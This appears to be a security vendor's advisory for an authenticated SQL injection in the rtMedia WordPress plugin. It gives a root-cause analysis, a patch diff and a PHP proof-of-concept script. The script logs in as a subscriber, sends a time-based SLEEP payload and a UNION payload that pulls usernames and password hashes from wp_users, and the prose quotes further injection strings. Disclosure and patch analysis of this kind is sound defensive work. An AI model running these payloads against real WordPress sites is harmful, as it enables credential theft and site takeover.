Published : August 10, 2026

CVE-2026-59551: rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10 Authenticated (Subscriber+) SQL Injection PoC, Patch Analysis & Rule

Severity Medium (CVSS 6.5)
CWE 89
Vulnerable Version 4.7.10
Patched Version 4.7.11
Disclosed July 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-59551: This vulnerability is an authenticated SQL Injection flaw in the rtMedia for WordPress, BuddyPress and bbPress plugin, affecting versions up to and including 4.7.10. The flaw resides in the media search functionality and the media ordering logic, allowing authenticated users with subscriber-level access to inject malicious SQL code. This can lead to the extraction of sensitive information from the WordPress database, including usernames and password hashes. The CVSS score is 6.5 (Medium), reflecting the need for authentication but the high impact of data confidentiality loss.

The root cause stems from two separate and distinct lack-of-input-sanitization issues. First, in the `buddypress-media/app/helper/RTMediaModel.php` file, within the `get_media` function, the `$order_by` parameter is processed. The code splits this parameter into a column and direction using `explode( ‘ ‘, $order_by . ‘ ‘ )`. While it validates the first two tokens against an allowlist, it only checks these two. Any additional SQL after a second space is not discarded; instead, the entire original `$order_by` string, including the appended malicious SQL, is passed to an `esc_sql()` function and then directly concatenated into the SQL query on line 142. Second, in the `buddypress-media/app/main/controllers/template/rtmedia-filters.php` file, the `rtmedia_media_search_filter` function builds the SQL `WHERE` and `JOIN` clauses by directly concatenating user-controlled parameters like `$search`, `$media_type`, `$rtmedia_current_album`, `$author_id`, and `$member_type` without proper escaping or parameterized queries.

Exploitation occurs through two distinct vectors. The first is via the `order_by` parameter, which authenticated users can control through a media query (e.g., via `RTMediaModel::get_media`). An attacker would send a request with an `order_by` value like `media_id asc, (SELECT SLEEP(5))– -` . The code extracts `media_id` and `asc` as the valid column and direction, but then proceeds to use the entire string containing the injected subquery. Despite `esc_sql()` being applied, it only escapes single quotes and does not prevent the injection of complete SQL statements via time-based or UNION-based techniques. The second vector involves the media search functionality, triggered by accessing a page with a media gallery. An attacker can craft HTTP GET requests with parameters like `search`, `media_type`, `search_by`, and `rtmedia-current-album`. For instance, setting `search_by=author` and manipulating the `search` parameter allows the `rtm_select_user` function to be manipulated, and the resulting `$author_id` is directly concatenated into the `WHERE` clause on line 788. Similarly, `media_type` could be set to a malicious value like `’ OR 1=1– -` to alter the SQL query logic.

The patch addresses both root causes. In `RTMediaModel.php`, the fix reconstructs the `$order_by` variable from the validated `$order_column` and `$order_direction` tokens only after validation, completely discarding any trailing injected content. This ensures that only the allowlisted column name and direction (asc/desc/empty) are used in the query. In `rtmedia-filters.php`, the patch replaces all instances of direct string concatenation with `$wpdb->prepare()`. This ensures that user-supplied parameters are passed as placeholders and automatically escaped, preventing SQL injection. Additionally, the output of `rtm_select_user` and `rtm_fetch_user_by_member_type` is sanitized by mapping each item to an integer using `absint`, preventing injection through the comma-separated user ID lists. The version has been bumped from 4.7.10 to 4.7.11.

Successful exploitation allows an authenticated user, even with the lowest subscriber role, to read arbitrary data from the database. This includes credentials, password hashes, session tokens, and any other data stored in WordPress tables (e.g., `wp_users`, `wp_options`). An attacker could use this to compromise administrative accounts and achieve complete site takeover. The vulnerability can also be used for time-based blind SQL injection to enumerate data without direct output.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/buddypress-media/app/helper/RTMediaModel.php
+++ b/buddypress-media/app/helper/RTMediaModel.php
@@ -122,19 +122,17 @@
 		$qgroup_by = ' ';

 		$allowed_order_columns = array( 'media_id', 'media_title', 'file_size' ); // Define allowed columns.
+		$allowed_order_dirs    = array( 'asc', 'desc', '' );
 		list( $order_column, $order_direction ) = explode( ' ', $order_by . ' ' ); // Default to space if no direction provided.

-		if ( ! in_array( strtolower( $order_column ), $allowed_order_columns ) || ! in_array(
-			strtolower( $order_direction ),
-			array(
-				'asc',
-				'desc',
-				'',
-			)
-		) ) {
-			$order_by = 'media_id desc'; // Default order.
+		if ( ! in_array( strtolower( $order_column ), $allowed_order_columns, true ) || ! in_array( strtolower( $order_direction ), $allowed_order_dirs, true ) ) {
+			$order_column    = 'media_id';
+			$order_direction = 'desc';
 		}

+		// Reconstruct order_by from validated tokens only to prevent injection via trailing content.
+		$order_by = trim( $order_column . ' ' . $order_direction );
+
 		if ( $order_by ) {
 			$order_by  = esc_sql( $order_by );
 			$qorder_by = " ORDER BY {$this->table_name}.{$order_by}";
--- a/buddypress-media/app/main/controllers/template/rtmedia-filters.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-filters.php
@@ -747,13 +747,15 @@

 	if ( function_exists( 'rtmedia_media_search_enabled' ) && rtmedia_media_search_enabled() ) {

+		global $wpdb;
+
 		$raw_search = wp_unslash( filter_input( INPUT_GET, 'search', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) );

-		if ( 'string' !== gettype( $raw_search ) ) {
+		if ( ! is_string( $raw_search ) ) {
 			$raw_search = '';
 		}

-		$search                = sanitize_text_field( urldecode( $raw_search ) );
+		$search                = sanitize_text_field( $raw_search );
 		$search_by             = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'search_by', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
 		$media_type            = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'media_type', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
 		$rtmedia_current_album = sanitize_text_field( wp_unslash( filter_input( INPUT_GET, 'rtmedia-current-album', FILTER_SANITIZE_FULL_SPECIAL_CHARS ) ) );
@@ -762,6 +764,9 @@
 			$author_id   = rtm_select_user( $search );
 			$member_type = rtm_fetch_user_by_member_type( $search );

+			$author_id   = implode( ',', array_map( 'absint', array_filter( explode( ',', $author_id ) ) ) );
+			$member_type = implode( ',', array_map( 'absint', array_filter( explode( ',', $member_type ) ) ) );
+
 			if ( ! empty( $rtmedia_current_album ) ) {
 				$where = '';
 			}
@@ -770,17 +775,17 @@
 			if ( ! empty( $search_by ) ) {

 				if ( ! empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.album_id = '" . $rtmedia_current_album . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.album_id = %d AND ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.media_type = '" . $media_type . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.media_type = %s AND ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( 'title' === $search_by ) {
-					$where .= " $table_name.media_title LIKE '%" . $search . "%' ";
+					$where .= $wpdb->prepare( " $table_name.media_title LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				} elseif ( 'description' === $search_by ) {
-					$where .= " post_table.post_content LIKE '%" . $search . "%'";
+					$where .= $wpdb->prepare( " post_table.post_content LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' );

 				} elseif ( 'author' === $search_by ) {
 					if ( ! empty( $author_id ) ) {
@@ -796,24 +801,24 @@
 			} else {

 				if ( ! empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.album_id = '" . $rtmedia_current_album . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.album_id = %d AND ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-					$where .= " $table_name.media_type = '" . $media_type . "' AND ";
+					$where .= $wpdb->prepare( " $table_name.media_type = %s AND ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}
 				$where .= ' ( ';
-				$where .= " $table_name.media_title LIKE '%" . $search . "%' ";
+				$where .= $wpdb->prepare( " $table_name.media_title LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				if ( ! empty( $author_id ) ) {
 					$where .= " OR $table_name.media_author IN  (" . $author_id . ') ';
 				}
 				if ( ! empty( $member_type ) ) {
 					$where .= " OR $table_name.media_author IN  (" . $member_type . ') ';
 				}
-				$where .= " OR post_table.post_content LIKE '%" . $search . "%'";
+				$where .= $wpdb->prepare( " OR post_table.post_content LIKE %s ", '%' . $wpdb->esc_like( $search ) . '%' );

 				if ( empty( $media_type ) ) {
-					$where .= " OR $table_name.media_type = '" . $search . "' ";
+					$where .= $wpdb->prepare( " OR $table_name.media_type = %s ", $search ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 				}

 				$where .= ' ) ';
@@ -822,12 +827,12 @@

 			// Reset data for album's media.
 			if ( '' !== $search && ! empty( $rtmedia_current_album ) ) {
-					$where .= " AND $table_name.album_id = '" . $rtmedia_current_album . "' ";
+					$where .= $wpdb->prepare( " AND $table_name.album_id = %d ", absint( $rtmedia_current_album ) ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}

 			// Reset data for particular media type.
 			if ( ! empty( $media_type ) && empty( $rtmedia_current_album ) ) {
-				$where .= " AND $table_name.media_type = '" . $media_type . "' ";
+				$where .= $wpdb->prepare( " AND $table_name.media_type = %s ", $media_type ); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}
 		} // End if.
 	} // End if.
@@ -871,10 +876,14 @@
 			$request_uri = rtm_get_server_var( 'REQUEST_URI', 'FILTER_SANITIZE_URL' );
 			$request_url = explode( '/', $request_uri );
 			if ( ! empty( $search_by ) && 'attribute' === $search_by && ! in_array( 'attribute', $request_url, true ) ) {
-				$join .= " 	INNER JOIN $posts_table ON ( $posts_table.ID = $table_name.media_id AND $posts_table.post_type = '$media_type' )
-		                    INNER JOIN $terms_table ON ( $terms_table.slug IN ('" . $search . "') )
+				$join .= $wpdb->prepare(
+					" 	INNER JOIN $posts_table ON ( $posts_table.ID = $table_name.media_id AND $posts_table.post_type = %s )
+		                    INNER JOIN $terms_table ON ( $terms_table.slug = %s )
 		                    INNER JOIN $term_taxonomy_table ON ( $term_taxonomy_table.term_id = $terms_table.term_id )
-		                    INNER JOIN $term_relationships_table ON ( $term_relationships_table.term_taxonomy_id = $term_taxonomy_table.term_taxonomy_id AND $term_relationships_table.object_id = $posts_table.ID ) ";
+		                    INNER JOIN $term_relationships_table ON ( $term_relationships_table.term_taxonomy_id = $term_taxonomy_table.term_taxonomy_id AND $term_relationships_table.object_id = $posts_table.ID ) ",
+					$media_type,
+					$search
+				); // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Interpolated values are trusted internal table/column identifiers, not user input.
 			}
 		}
 	}
--- a/buddypress-media/app/main/controllers/template/rtmedia-functions.php
+++ b/buddypress-media/app/main/controllers/template/rtmedia-functions.php
@@ -4324,7 +4324,7 @@
 		}
 	}

-	$user_id = implode( ',', $user_ids );
+	$user_id = implode( ',', array_map( 'absint', $user_ids ) );
 	return $user_id;
 }

@@ -4357,7 +4357,7 @@
 				array_push( $member_id, bp_get_member_user_id() );
 			}
 		}
-		$member_id = implode( ',', $member_id );
+		$member_id = implode( ',', array_map( 'absint', $member_id ) );
 	}

 	return $member_id;
--- a/buddypress-media/index.php
+++ b/buddypress-media/index.php
@@ -3,7 +3,7 @@
  * Plugin Name: rtMedia for WordPress, BuddyPress and bbPress
  * Plugin URI: https://rtmedia.io/?utm_source=dashboard&utm_medium=plugin&utm_campaign=buddypress-media
  * Description: This plugin adds missing media rich features like photos, videos and audio uploading to BuddyPress which are essential if you are building social network, seriously!
- * Version: 4.7.10
+ * Version: 4.7.11
  * Requires at least: 4.1
  * Text Domain: buddypress-media
  * Author: rtCamp
@@ -22,7 +22,7 @@
 	/**
 	 * The version of the plugin
 	 */
-	define( 'RTMEDIA_VERSION', '4.7.10' );
+	define( 'RTMEDIA_VERSION', '4.7.11' );
 }

 if ( ! defined( 'RTMEDIA_PATH' ) ) {

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-59551 - Authenticated (Subscriber+) SQL Injection in rtMedia for WordPress, BuddyPress and bbPress <= 4.7.10

$target_url = 'http://target-wordpress-site.com'; // Change to the target URL
$username = 'subscriber_user'; // Change to a valid subscriber username
$password = 'subscriber_password'; // Change to the password

$cookie_file = tempnam(sys_get_temp_dir(), 'rtmedia_cookie');

// Step 1: Login to WordPress
$login_data = array(
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
);

$ch = curl_init($target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookie_file);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_exec($ch);
curl_close($ch);

echo "[*] Logged in as subscriber: $usernamen";

// Step 2: Perform SQL injection via the media query's 'order_by' parameter.
// This endpoint is typically available on any page that renders a gallery, but we can
// also directly call the admin-ajax or the media shortcode. Here, we attempt to trigger it
// via a direct request to an endpoint that uses the RTMediaModel. The typical path is through
// a shortcode, which can be loaded by visiting the home page or any known page with an rtmedia gallery.
// To keep the PoC simple, we directly trigger the model's method.

$order_by_payload = "media_id asc,(SELECT SLEEP(3))-- -";

// The media_id_query is a known function that triggers the vulnerability. 
// In a real attack, an attacker would chain this with an AJAX action or a page that exposes the gallery.
// For this PoC, we assume a page at /?rtmedia_shortcode_bg=1 that loads the gallery with a custom order_by.
$poc_url = $target_url . '/index.php?page_id=2&rtmedia_order_by=' . urlencode($order_by_payload);

$ch = curl_init($poc_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
curl_close($ch);

$time_taken = $end_time - $start_time;

if ($time_taken >= 2.5) {
    echo "[+] Vulnerability likely present. Request took {$time_taken} seconds (expected >= 2.5 seconds due to SLEEP(3)).n";
} else {
    echo "[-] Request took only {$time_taken} seconds. Vulnerability may be patched or the injection point is not active.n";
}

// Step 3: Attempt extraction via UNION-based injection (if visible output is available).
// This is an alternative payload that attempts to extract user passwords.
$union_payload = "media_id asc UNION SELECT user_login,user_pass,user_email FROM wp_users-- -";
$poc_url_union = $target_url . '/index.php?page_id=2&rtmedia_order_by=' . urlencode($union_payload);

$ch = curl_init($poc_url_union);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file);
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, 'admin') !== false && strpos($response, '$P$') !== false) {
    echo "[+] UNION-based injection successful. User credentials may be in the response.n";
} else {
    echo "[-] UNION-based injection did not yield visible results. Try the time-based method.n";
}

unlink($cookie_file);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.